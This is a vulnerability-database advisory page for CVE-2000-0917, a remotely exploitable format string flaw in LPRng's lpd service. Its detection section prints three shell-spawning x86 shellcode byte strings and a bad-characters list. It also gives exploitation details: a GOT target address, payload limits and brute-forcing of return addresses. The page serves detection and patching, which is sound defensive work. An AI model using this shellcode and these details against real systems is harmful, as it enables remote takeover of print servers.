cbcvebase.
CVE-2000-0917
published 2000-12-19

CVE-2000-0917: Format string vulnerability in use_syslog() function in LPRng 3.6.24 allows remote attackers to execute arbitrary commands.

PriorityP262critical10CVSS 2.0
AVNACLAuNCCICAC
EXPLOIT
EPSS
78.66%
99.5th percentile
Format string vulnerability in use_syslog() function in LPRng 3.6.24 allows remote attackers to execute arbitrary commands.

Affected

6 ranges
VendorProductVersion rangeFixed in
calderaopenlinux_ebuilder
calderaopenlinux_edesktop
calderaopenlinux_eserver
redhatlinux
trustixsecure_linux
trustixsecure_linux

Detection & IOCsextracted from sources · hover to see the quote

command'BadChars' => "\x00\x0a\x20\x25"
bytes
\x31\xc0\x31\xdb\x31\xc9\xb3\x07\xeb\x67\x5f\x8d\x4f\x07\x8d\x51\x0c\x89\x51\x04\x8d\x51\x1c\x89\x51\x08\x89\x41\x1c\x31\xd2\x89\x11\x31\xc0\xc6\x41\x1c\x10\xb0\x66\xcd\x80\xfe\xc0\x80\x79\x0c\x02\x75\x04\x3c\x01\x74\x0d\xfe\xc2\x80\xfa\x01\x7d\xe1\x31\xc0\xfe\xc0\xcd\x80\x89\xd3\x31\xc9\x31\xc0\xb0\x3f\xcd\x80\xfe\xc1\x80\xf9\x03\x75\xf3\x89\xfb\x31\xc0\x31\xd2\x88\x43\x07\x89\x5b\x08\x8d\x4b\x08\x89\x43\x0c\xb0\x0b\xcd\x80\x31\xc0\xfe\xc0\xcd\x80\xe8\x94\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68
bytes
\x29\xdb\x29\xc0\x29\xd2\x31\xc9\xfe\xca\xb0\x46\xcd\x80\x29\xff\x47\x47\x47\x43\x43\x43\x31\xc9\x29\xc0\xb0\x3f\xcd\x80\x41\x39\xf9\x75\xf5\x39\xd3\x7e\xee\xeb\x19\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x0b\xcd\x80\xe8\xe2\xff\xff\xff/bin/sh
bytes
\x31\xdb\x31\xc9\x31\xc0\xb0\x46\xcd\x80\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80...\xe8\xe3\xff\xff\xff/bin/sh
  • Monitor TCP port 515 (lpd) for connections containing format string specifiers (e.g., %n, %x, %d) in the request line, which are characteristic of this exploit.
  • Detect exploit attempts by looking for the syslog error prefix 'Service_connection: bad request line' followed by format string tokens in lpd traffic on port 515/tcp.
  • Look for NOP sled patterns (0x90 repeated) followed by known shellcode byte sequences in lpd (port 515/tcp) request payloads.
  • Alert on brute-force connection patterns to port 515/tcp from a single source, iterating return addresses in steps of 4 bytes up to OFFSET_LIMIT (5000).
  • The Metasploit module targets GOT entry of exit() at 0x80992d4 on Caldera OpenLinux 2.3; memory write to this address in lpd process space is a strong indicator of exploitation.
  • ·Payload space is constrained to 130 bytes for the Metasploit module; the buffer size on Caldera is 180 bytes, requiring ~50 bytes for the format string, leaving limited room for shellcode.
  • ·Return addresses and format string control offsets (NumPops/fsc) vary significantly by OS/distribution and must be tuned per target; brute-force is recommended if static values fail.
  • ·It is unclear if there is a way to auto-detect the lpd version via LPD commands, complicating remote fingerprinting for target selection.
  • ·The vulnerability was fixed in LPRng 3.6.25; Red Hat addressed it via RHSA-2000:065 for Red Hat Linux 7.0.

CVSS provenance

nvdv2.010.0CRITICALAV:N/AC:L/Au:N/C:C/I:C/A:C
vendor_redhat10.0CRITICAL
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